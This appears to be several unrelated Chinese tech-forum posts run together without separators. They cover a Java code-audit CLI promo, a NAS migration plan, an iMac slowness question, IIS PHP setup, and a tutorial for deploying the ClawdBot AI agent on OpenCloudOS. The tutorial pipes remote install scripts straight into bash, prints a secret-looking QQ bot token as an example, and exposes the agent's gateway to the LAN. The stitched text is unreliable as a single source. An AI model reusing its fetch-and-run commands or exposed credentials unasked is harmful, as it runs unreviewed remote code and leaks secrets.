    大家好,最近做了一个小工具 AutoJava,想分享给各位 Java 开发者,也希望能收集一些使用反馈。

    它是做什么的?

    一个命令行工具,帮你处理那些烦人的重复工作:

    • 代码审计 - 自动检查 NPE 、SQL 注入等问题,基于 JavaParser + 阿里规范
    • AI 修复 - 对接 Kimi/通义千问等,一键生成修复代码,自动备份
    • 接口文档 - 解析 Spring 注解,直接生成 Markdown/OpenAPI 文档

    为什么做这个?

    工作里经常要:

    1. Review 新人代码,重复指出同样的问题
    2. 项目收尾补接口文档,手写很痛苦
    3. 祖传代码不敢改,怕改出问题

    所以想做个工具,把这些重复劳动交给 AI 。

    特点

    • 纯本地运行 - 代码不上云,公司项目也能放心用
    • CLI 工具 - 一条命令搞定,适合集成到 CI/CD
    • 多 AI 支持 - Kimi 、通义千问、文心一言等,自己配置 API key

    现在的情况

    目前是个人项目,免费版完全可用,付费版解锁 AI 功能。

    想听听大家的意见:

    • 这类工具你们会用吗?
    • 最希望解决什么痛点?
    • 定价是否合理?

    试试

    官网: https://autojav.vercel.app
    ---

    纯个人开发,轻喷,谢谢各位 🙏

    原本架构就是 pve 底层,上面跑飞牛 os 和 ubuntu server ,因为这次的问题打算弃用,对于一些需求的替代方案我整理了一下。

    1. 系统存储和备份
      系统快照、raid 等功能均在 pve 里实现,硬盘不直通 ubuntu 。

    2. 网盘挂载
      通过 ubuntu 里安装 alist 或者 cloud2drive 实现。

    3. 文件存储及同步
      单人自用同步使用 syncthing ,有多人协作需求可以换 nextcloud

    4.相册
    部署 immich 实现,飞牛 os 的相册似乎也是基于 immich 做的

    5.外网访问
    通过 tailscale 实现,在都有 ipv6 的情况下体验不差。也可以考虑节点小宝这类产品(安全性存疑,不推荐)。

    6.docker 管理
    ubuntu 部署 1panel ,应用商店丰富程度和更新频率比飞牛的高。

    7.媒体库
    媒体库在网盘的,可以直接换 vidhub/infuse/网易爆米花了,都可以挂载网盘并且直接播放。其中网易爆米花有隐私风险且不支持 iso 等原盘播放,但免费而且可以多平台同步进度(我在小米电视和 apple tv 的应用商店里都能下载到客户端)。infuse 啥都好,就是贵且局限在 apple 生态。vidhub 没验证不予置评。
    对于媒体库在本地的,还是 emby/plex/jellyfin 三件套和 kodi 选配,其中 jellyfin 免费!

    这一套搞完,主要欠缺的是 fn 的 40mbps 转发服务(我办公环境没有 ipv6 ,家里又没有 ipv4 公网 ip ,靠一个 6mbps 的云主机做中转真的很难受),会影响外网进行相册同步必须登录 tailscale 且带宽受限,影视库应为我主要挂载网盘播放 反而没什么影响。

    下班回家开干了,有更好的方案欢迎补充

    Retina 4K, 21.5-inch, 2019
    3 GHz 六核 Intel Core i5
    32 GB 2667 MHz DDR4

    开机到正常使用 20-30min ,开机可能几分钟,但是点击什么都卡的不行,
    设备名称: APPLE SSD SM0032L
    介质名称: AppleAPFSMedia
    介质类型: SSD
    1TB 的硬盘

    磁盘读写测试 200-300M/s ,是不是磁盘有问题

    Windows Server 不使用 xmapp、XP 面板支持 PHP 的方法。

    首先安装 IIS,新建一个网站
    然后点开这个网站
    image
    打开处理程序映射
    image
    添加模块映射
    image
    将所有*.php 的路径映射到 php-cgi.exe 程序进行处理。
    image
    测试访问。

    想象一下,凌晨 3 点,你的服务器某个服务挂了。

    以前:报警短信把你吵醒 -> 强撑睡意打开电脑 -> SSH 连上服务器 -> 敲命令排查 -> 重启服务 -> 继续睡(如果睡得着的话)。

    现在:你的手机收到一条企业微信消息:

    Hi 主人,您 IP 172.20.2.22 的服务器挂啦!“检测到 PHP-FPM 假死,已尝试重启服务并恢复,日志显示可能是内存泄漏导致的。建议后续排查这段代码...”

    这不是科幻,这就是 ClawdBot (Moltbot) —— 一个能真正“干活”的 AI Agent。而把它部署在 OpenCloudOS 上,你就拥有了一个永不掉线、极其稳定的“全能数字员工”。

    一、 为什么要用 OpenCloudOS 跑 ClawdBot?

    ClawdBot 基于 MCP 协议,它是一个运行在你服务器上的 AI 代理程序 。无论是执行 Shell 命令、提交 Git PR、操作数据库,还是连接 Telegram 等随时听候调遣,亦或是安装 "Skills"技能插件,学会任何新本事,对它来说,皆不在话下。

    所以,近期 Clawdbot 火爆全网,是因为它让人们真正意识到“AI 秘书”可以走进生活和工作。很多朋友在 MacBook 上尝鲜 ClawdBot,但真正能发挥它威力的战场,其实是服务器。OpenCloudOS 原生的 Linux 环境加上 ClawdBot 的执行力,能产生更多奇妙的化学反应。文章开头举例的场景只是其一。

    • 你可以让它写代码 :配合 code-edit 技能,直接在服务器上修改 Nginx 配置。
    • 你可以让它做监控 :写个 Cron Job,让它每天早上 9 点给你发一份服务器健康日报。
    • 你可以让它管应用 :配合 Docker 技能,一句话部署一个新的 WordPress 站点。

    二、5 分钟在 OpenCloudOS 9 上部署 Clawdbot

    2.1 安装 Node.js

    先使用 nvm 安装最新的 Node.js

     # 升级npm 
     curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash 
     source ~/.bashrc 
     nvm install 22 
     nvm use 22 
     nvm alias default 22
     
     # 验证 Node.js 版本:
     node -v # Should print "v22.22.0".
     # 验证 npm 版本:
     npm -v # Should print "10.9.4".
    

    2.2 安装 Clawdbot

    # 自动安装
    curl -fsSL https://molt.bot/install.sh | bash 
    
    # 也可手动安装
    npm i -g clawdbot
    # 并手动打开交互命令
    clawdbot onboard
    

    b5e67c5c14849c97b49e74dcded0f151.png
    79c475dca9f5c7a30f5d81a0ae18a0ff.png

    2.3 配置 Clawdbot

    因配置环节流程较多,OpenCloudOS 经筛选后仅展示关键配置,其余配置暂时未做展示。用户可根据个人需求和喜好自行进行配置。注意:如果配置过程中不慎退出,执行 clawdbot onboard 命令以继续。

    2.3.1 模型选择

    Clawdbot 支持了各大 LLM 公司的模型,也支持本地模型,包括 Ollama 和 LM Studio,你可以按自己的喜好/场景来决定使用。

    9a931f498c20bf4181f2d23ce76798e9.png

    备注:如果你有 token\_api 可以选择其他,如果想免费体验,可以选择 Qwen。这里,OpenCloudOS 以 Qwen 进行示例。

    当出现下面链接时,请点击并前往 Qwen 网站进行认证关联:

    ad5828a06c92b9a3d54c9eeb1e9a0e7f.png

    2.3.2 即时 IM 选择

    接下来是选择即时 IM 渠道,请根据您的使用场景或喜好选择。如果您没有这些软件或不考虑这些场景,可以先跳过,后文我们将演示如何支持企业微信。
    8ff2a7116954c994e4d96ebb5441b31b.png

    2.3.3 hooks 安装

    官方使能的 3 条 hooks 建议都安装上:

    2546a73e4cf59860457ebc7d5721e213.png

    2.3.4 昵称配置

    启动后你告诉 Clawdbot 它对你的称呼,和它的称呼:

    9b0595515f0dc4bd015c5f0f3a14cd71.png

    按两次 ctrl+c 退出该引导界面。

    2.3.5 Clawbot 运行状态确认
    # 查看clawbot是否在后台运行
    clawdbot health
    # 查看模型状态,是否连上了大模型
    clawdbot models list
    # 查看聊天通道,比如qq,企业微信等
    clawdbot channels list
    

    e7c765abba4c03680228ccd91c44ff36.png

    1a6290ce5379fa0b3e999286bea6eab7.png

    这里提示的 Qwen 的 channel,这是正常的,后文会配置企业微信相关的 channel。

    80811636dc06940e5cda0a8ef0cbc907.png

    2.3.6 访问 web 界面

    先做一个端口转发才能访问 web 界面

    # clawbot只能通过locahost方式访问
    ssh -L 18789:127.0.0.1:18789 root@你的服务器公网ip
    # 再获得token
    clawdbot dashboard
    

    ?/toeken=xxxxx 后面就是 token

    febfff8a45d136dd8a0381fa8d26b5a2.png

    直接在浏览器输入 127.0.0.1:18789/?token=xxxxxx 就能够访问 web 界面了

    f494802c33f8668270906f9d65f20e76.png

    三、实战点亮 OC9+Clawdbot 技能树

    3.1 接入企业微信

    Clawbot 原生基本只支持国外社交软件,可以通过插件的方式来支持国内的社交软件。这里我们以企业微信为例,演示接入教程。

    # 首先下载clawbot 插件
    clawdbot plugins install @william.qian/simple-wecom
    # 相关插件详细使用信息
    # https://www.npmjs.com/package/@william.qian/simple-wecom 
    
    # 重启 clawbot 来加载插件
    clawdbot gateway restart
    # 查看企业微信插件运行是否加载
    clawdbot plugins list | grep -i wecom
    

    c619bbac8fb01f12b550359024dd5cde.png

    36c8a1b54aee6a53858b59eb6978b200.png

    接下来需要在企业微信里创建一个一个应用,这一步需要企业微信开发者中心先在这里创建一个应用。

    55a81c9571ae258c8120840333e7384a.png

    选择个人

    afc0b914722b76cb10becd00e4978feb.png

    配置企业微信应用相关信息,首先获取如下信息:

    1. 登录 企业微信管理员后台

    2. 在"我的企业"中查看 企业 ID (CorpID)

    3. 进入"应用管理" → 选择或创建应用

    4. 在应用详情页获取:AgentId:应用 ID;Secret:点击"查看 Secret"获取

    5. 在"接收消息"设置中获取:Token:点击"随机获取";EncodingAESKey:点击"随机获取"。

    在服务器上输入如下命令:

    # 企业微信应用配置(必需)
    clawdbot config set channels.simple-wecom.corpid "你的企业ID"
    clawdbot config set channels.simple-wecom.agentid "你的应用ID"
    clawdbot config set channels.simple-wecom.corpsecret "your-corp-secret"
    clawdbot config set channels.simple-wecom.token "your-token"
    clawdbot config set channels.simple-wecom.encodingAESKey "your-aes-key"
    clawdbot config set channels.simple-wecom.enabled true 
    
    clawdbot config set gateway.bind lan
    clawdbot gateway restart
    

    如上执行后点击保存,企业微信会回发送 token 和 AESKey 和 Clawdbot 服务器进行匹配:

    4e2380f160dc50730a8d2dd6645e1b19.jpg

    如果匹配成功界面如下

    6919a21d518ae0343d3483e940b687fb.png

    在企业微信里找到相关应用,直接和他聊天

    714342e08b277f809f55e75b16bf5e2c.png

    可以看到 Clawdbot 确实识别到了相关的用户和请求

    8fd472959ae7200fde0b2fb710fa317b.png

    e2935daf016c7d9c8dcb88bb9ed0602d.png

    让 ClawdBot 创建一个定时任务:

    c239f0f4608c95a6c87a5292f0b35761.png

    可以看到确实创建完成了。

    94ece971d08021642ccec7f89a882b9c.png

    3.2 接入 QQ

    QQ 更方便个人用户使用,OpenCloudOS 也提供一个接入 QQ 的场景。先在https://github.com/sliverp/qqbot# 插件官网下载 zip 安装包,上传到服务器,并解压。

    # 先从github下载安装包
    wget https://github.com/sliverp/qqbot/archive/refs/heads/main.zip
    # 如果上面的连接不行,用加速链接
    wget https://ghfast.top/https://github.com/sliverp/qqbot/archive/refs/heads/main.zip
    
    # 解压并安装
    unzip main.zip && clawdbot plugins install ./qqbot-main/
    

    3b2365b5d4e199f1bc5a06423c9dbddf.png

    创建 QQ 机器人:

    访问 QQ 开放平台

    获取 AppID 和 AppSecret(ClientSecret)

    Token 格式为 AppID:AppSecret,例如 102146862:Xjv7JVhu7KXkxANbp3HVjxCRgvAPeuAQ

    84407ac997a487305b3fc45427cd009b.png

    #方式一:交互式配置,选择 qqbot,按提示输入 Token
    clawdbot channels add
    #方式二:命令行配置
    clawdbot channels add --channel qqbot --token "AppID:AppSecret"
    # 示例
    clawdbot channels add --channel qqbot --token "102146862:xxxxxxxx"
    

    f4e6816e8d9801b48cf0b8c7dcd7d5d1.png

    配置好后在 qq 开发平台里的,沙箱配置里先点击添加成员再扫描二维码就能和 ClawdBot 沟通,并安排他工作了

    26f6eda19cdaf3912bcf4f96d7b61d73.png

    175ed758febaaf4e4c117a8b983ca28c.jpg

    OpenCloudOS 和 Clawdbot 能碰撞出的火花远不止于此,欢迎社区伙伴们加入 OpenCloudOS 社区用户群(搜索社区小助手微信号:OpenCloudOS,即可进群),一起参与更多可能性的探讨。

    即日起至 2 月 6 日,凡在 OpenCloudOS 9 成功部署 Clawdbot ,并体验其扩展技能/反馈部署建议者,即有机会获得由社区赠送的精美礼品一份!欢迎加小助手了解体验活动详情。

    参考链接


    OpenCloudOS 开源社区是由操作系统、云平台、软硬件厂商与个人携手打造中立开放、安全稳定且高性能的 Linux 操作系统及生态。目前已实现从源社区、商业版、到社区稳定版全链路覆盖,旨在输出经海量业务验证的企业级稳定操作系统版本,为行业解决国产操作系统上下游供应问题,促进基础软件可持续发展。